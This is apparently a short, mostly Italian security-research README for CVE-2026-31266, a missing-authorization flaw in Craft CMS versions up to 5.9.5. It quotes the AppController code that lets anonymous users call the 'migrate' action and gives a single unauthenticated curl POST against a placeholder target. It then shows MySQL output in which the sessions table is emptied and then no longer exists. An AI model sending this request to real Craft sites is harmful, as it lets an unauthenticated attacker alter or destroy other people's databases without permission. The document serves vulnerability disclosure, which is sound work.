0xrixet/craftcms-poc-cve-2026-31266Ricerca sulla sicurezza del meccanismo di autenticazione di Craft CMS
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-31266 |
| Fornitore | Pixel & Tonic |
| Prodotto | Craft CMS |
| Versioni Affette | <= 5.9.5 |
| CWE | CWE-862 (Autorizzazione Mancante) |
| CVSS | 7.3 (Alto) |
| Ricercatore di Sicurezza | 0xRIXET |
screenshots/ - Dimostrazioni Proof of ConceptFile: src/controllers/AppController.php
Righe 65-68:
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];
# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"
mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
| 0 |
+----------+
mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist